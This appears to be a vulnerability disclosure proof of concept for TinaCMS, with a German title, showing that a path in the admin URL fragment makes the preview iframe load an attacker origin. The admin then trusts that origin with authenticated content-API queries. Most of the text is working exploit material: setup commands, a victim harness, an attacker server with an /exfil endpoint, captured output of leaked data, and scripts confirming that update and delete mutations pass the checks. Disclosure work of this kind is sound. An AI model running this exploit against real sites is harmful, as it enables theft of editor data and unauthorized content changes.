TinaCMS: Admin-Vorschau-iFrame lädt angreifergesteuerte Herkunft aus dem URL-Fragment

git clone https://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD

mkdir -p /tmp/tina-poc/victim /tmp/tina-poc/attacker && cd /tmp/tina-poc
npm init -y >/dev/null
npm i --ignore-scripts react@18.3.1 react-dom@18.3.1 react-router-dom@6.30.3 esbuild@0.25.0 playwright@1.49.0

cp "$REPO/packages/@tinacms/app/src/lib/preview-origin.ts" ./preview-origin.ts

import React from 'react';
import { createRoot } from 'react-dom/client';
import { HashRouter as Router, Route, Routes, useNavigate, useParams } from 'react-router-dom';
import { getExpectedPreviewOrigin, isFromTrustedPreviewOrigin, postMessageToPreview } from '../preview-origin';

const log = (m: string, x?: unknown) => console.log('[victim]', x === undefined ? m : `${m} ${JSON.stringify(x)}`);

// Stand-in for cms.api.tina.request (graphql-reducer.ts:977): in the real admin
// this is an authenticated call to the content API with the editor's token.
async function tinaRequest(query: string) {
  log('cms.api.tina.request() called with attacker query', query);
  return { data: { __POC_MARKER__: 'SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE' } };
}

function useGraphQLReducer(iframe: React.MutableRefObject<HTMLIFrameElement | null>, url: string) {
  const expectedOrigin = React.useMemo(() => getExpectedPreviewOrigin(url), [url]);       // :209-212
  React.useEffect(() => {
    log('expectedOrigin derived from preview url', { url, expectedOrigin });
    (window as any).__poc_expectedOrigin = expectedOrigin;
  }, [expectedOrigin, url]);

  const handleMessage = React.useCallback(async (event: MessageEvent<any>) => {
    if (!isFromTrustedPreviewOrigin({ event, expectedOrigin, peerWindow: iframe.current?.contentWindow })) return; // :548-556
    if (event.data.type === 'open') {                                                     // :613-624
      log('ACCEPTED "open" message from', event.origin);
      const expandedData = await tinaRequest(event.data.query);                           // :973-978
      postMessageToPreview(iframe.current?.contentWindow,
        { type: 'updateData', id: event.data.id, data: expandedData.data }, expectedOrigin); // :497-505
      log('posted query result to', expectedOrigin);
    }
  }, [expectedOrigin]);

  React.useEffect(() => {
    window.addEventListener('message', handleMessage);
    return () => window.removeEventListener('message', handleMessage);
  }, [handleMessage]);
}

const Preview = (props: { url: string; iframeRef: React.MutableRefObject<HTMLIFrameElement | null> }) => {
  useGraphQLReducer(props.iframeRef, props.url);
  return <iframe data-test='tina-iframe' id='tina-iframe' ref={props.iframeRef}
                 className='h-full w-full bg-white' src={props.url} />;   // preview.tsx:24
};

const PreviewInner = ({ preview }: { preview: any }) => {                  // admin/index.tsx:170-210
  const params = useParams();
  const navigate = useNavigate();
  const [url, setURL] = React.useState(`/${params['*']}`);
  const [reportedURL, setReportedURL] = React.useState<string | null>(null);
  const ref = React.useRef<HTMLIFrameElement>(null);
  const paramURL = `/${params['*']}`;
  React.useEffect(() => { if (reportedURL !== paramURL && paramURL) setURL(paramURL); }, [paramURL]);
  React.useEffect(() => { if ((reportedURL !== url || reportedURL !== paramURL) && reportedURL) navigate(`/~${reportedURL}`); }, [reportedURL]);
  React.useEffect(() => {                                                 // admin/index.tsx:189-200
    setInterval(() => {
      if (ref.current) {
        const url = new URL(ref.current.contentWindow?.location.href || '');
        if (url.origin === 'null') { return; }
        const href = url.href.replace(url.origin, '');
        setReportedURL(href);
      }
    }, 100);
  }, [ref.current]);
  React.useEffect(() => {
    log('iframe src computed from router splat', { "params['*']": params['*'], url });
    (window as any).__poc_iframeSrc = url;
  }, [url]);
  const PreviewCmp = preview;
  return <div><PreviewCmp url={url} iframeRef={ref} /></div>;
};

createRoot(document.getElementById('root')!).render(
  <Router>
    <Routes>
      <Route path='/~/*' element={<PreviewInner preview={Preview} />} />   {/* admin/index.tsx:329 */}
      <Route path='/' element={<div>admin dashboard</div>} />
    </Routes>
  </Router>
);

const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');
const VICTIM_PORT=8801, ATTACKER_PORT=8802, HERE=__dirname, attackerHits=[];
function serve(dir,port,onHit){const s=http.createServer((req,res)=>{const u=new URL(req.url,`http://127.0.0.1:${port}`);
 if(onHit)onHit(req.method+' '+u.pathname+u.search);
 if(u.pathname.startsWith('/exfil')){res.writeHead(204).end();return;}
 const f=path.join(dir,u.pathname==='/'?'/index.html':u.pathname);
 if(!f.startsWith(dir)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}
 res.writeHead(200,{'content-type':f.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});res.end(fs.readFileSync(f));});
 return new Promise(r=>s.listen(port,'127.0.0.1',()=>r(s)));}
(async()=>{const v=await serve(path.join(HERE,'victim'),VICTIM_PORT);
 const a=await serve(path.join(HERE,'attacker'),ATTACKER_PORT,h=>attackerHits.push(h));
 const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});const results={};
 for(const scenario of ['control','attack']){attackerHits.length=0;
  const ctx=await browser.newContext();const page=await ctx.newPage();const logs=[];
  page.on('console',m=>logs.push(m.text()));
  const hash=scenario==='control'?'#/~/posts/hello-world':`#/~//127.0.0.1:${ATTACKER_PORT}/evil.html`;
  await page.goto(`http://127.0.0.1:${VICTIM_PORT}/index.html${hash}`);await page.waitForTimeout(2500);
  results[scenario]={hash,
   iframeSrc:await page.evaluate(()=>window.__poc_iframeSrc),
   expectedOriginTrustedByAdmin:await page.evaluate(()=>window.__poc_expectedOrigin),
   framesLoaded:page.frames().map(f=>f.url()),
   attackerServerHits:[...attackerHits],
   victimConsole:logs.filter(l=>l.startsWith('[victim]'))};
  await ctx.close();}
 await browser.close();v.close();a.close();console.log(JSON.stringify(results,null,2));})();

cd /tmp/tina-poc
npx esbuild victim/admin.tsx --bundle --outfile=victim/admin.js --format=esm \
  --loader:.tsx=tsx --define:process.env.NODE_ENV='"production"'
node run.cjs

{
  "control": {
    "hash": "#/~/posts/hello-world",
    "iframeSrc": "/posts/hello-world",
    "expectedOriginTrustedByAdmin": "http://127.0.0.1:8801",
    "framesLoaded": [
      "http://127.0.0.1:8801/index.html#/~/posts/hello-world",
      "http://127.0.0.1:8801/posts/hello-world"
    ],
    "attackerServerHits": [],
    "victimConsole": [
      "[victim] expectedOrigin derived from preview url {\"url\":\"/posts/hello-world\",\"expectedOrigin\":\"http://127.0.0.1:8801\"}",
      "[victim] iframe src computed from router splat {\"params['*']\":\"posts/hello-world\",\"url\":\"/posts/hello-world\"}"
    ]
  },
  "attack": {
    "hash": "#/~//127.0.0.1:8802/evil.html",
    "iframeSrc": "//127.0.0.1:8802/evil.html",
    "expectedOriginTrustedByAdmin": "http://127.0.0.1:8802",
    "framesLoaded": [
      "http://127.0.0.1:8801/index.html#/~//127.0.0.1:8802/evil.html",
      "http://127.0.0.1:8802/evil.html"
    ],
    "attackerServerHits": [
      "GET /evil.html",
      "GET /exfil?data=%7B%22__POC_MARKER__%22%3A%22SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE%22%7D"
    ],
    "victimConsole": [
      "[victim] expectedOrigin derived from preview url {\"url\":\"//127.0.0.1:8802/evil.html\",\"expectedOrigin\":\"http://127.0.0.1:8802\"}",
      "[victim] iframe src computed from router splat {\"params['*']\":\"/127.0.0.1:8802/evil.html\",\"url\":\"//127.0.0.1:8802/evil.html\"}",
      "[victim] ACCEPTED \"open\" message from \"http://127.0.0.1:8802\"",
      "[victim] cms.api.tina.request() called with attacker query \"query { collection(collection: \\\"authentication\\\") { documents { edges { node { ... on Document { _values } } } } } }\"",
      "[victim] posted query result to \"http://127.0.0.1:8802\""
    ]
  }
}

mkdir -p /tmp/tina-expand && cd /tmp/tina-expand
npm init -y >/dev/null && npm i --ignore-scripts graphql@16.8.1 esbuild@0.25.0
cp "$REPO/packages/@tinacms/app/src/lib/expand-query.ts" ./expand-query.ts
cat > t.ts <<'EOF'
import * as G from 'graphql'; import fs from 'fs'; import { expandQuery } from './expand-query';
const schema = G.buildSchema(fs.readFileSync(process.env.SCHEMA!, 'utf-8'));
const ops: Record<string,string> = {
  READ: `query { movieConnection { edges { node { _values } } } }`,
  MUTATE_UPDATE: `mutation { updateDocument(collection: "movie", relativePath: "movie1.json", params: {movie: {title: "pwned"}}) { __typename } }`,
  MUTATE_DELETE: `mutation { deleteDocument(collection: "movie", relativePath: "movie1.json") { __typename } }`,
};
for (const [n, op] of Object.entries(ops)) {
  const printed = G.print(expandQuery({ schema, documentNode: G.parse(op) }));
  const errs = G.validate(schema, G.parse(printed));
  console.log(`--- ${n} ---`);
  console.log('survives expandQuery + validates against the real Tina schema:', errs.length === 0);
  console.log('operation kept:', (G.parse(printed).definitions[0] as any).operation);
}
EOF
npx esbuild t.ts --bundle --platform=node --outfile=t.cjs --format=cjs >/dev/null
SCHEMA="$REPO/packages/@tinacms/graphql/src/spec/movies-with-datalayer/.tina/__generated__/schema.gql" node t.cjs

mkdir -p /tmp/tina-rr && cd /tmp/tina-rr && npm init -y >/dev/null
npm i --ignore-scripts react-router-dom@6.30.3 react@18.3.1 react-dom@18.3.1
cat > t.cjs <<'EOF'
const { matchPath } = require('react-router-dom');
for (const p of ['/~/posts/hello','/~//evil.example','/~/%2F%2Fevil.example']) {
  const s = matchPath({ path: '/~/*' }, p)?.params['*'];
  console.log(JSON.stringify(p), '=> params["*"] =', JSON.stringify(s), '=> url =', JSON.stringify('/' + s));
}
EOF
node t.cjs

rm -rf /tmp/tina-poc /tmp/tina-expand /tmp/tina-rr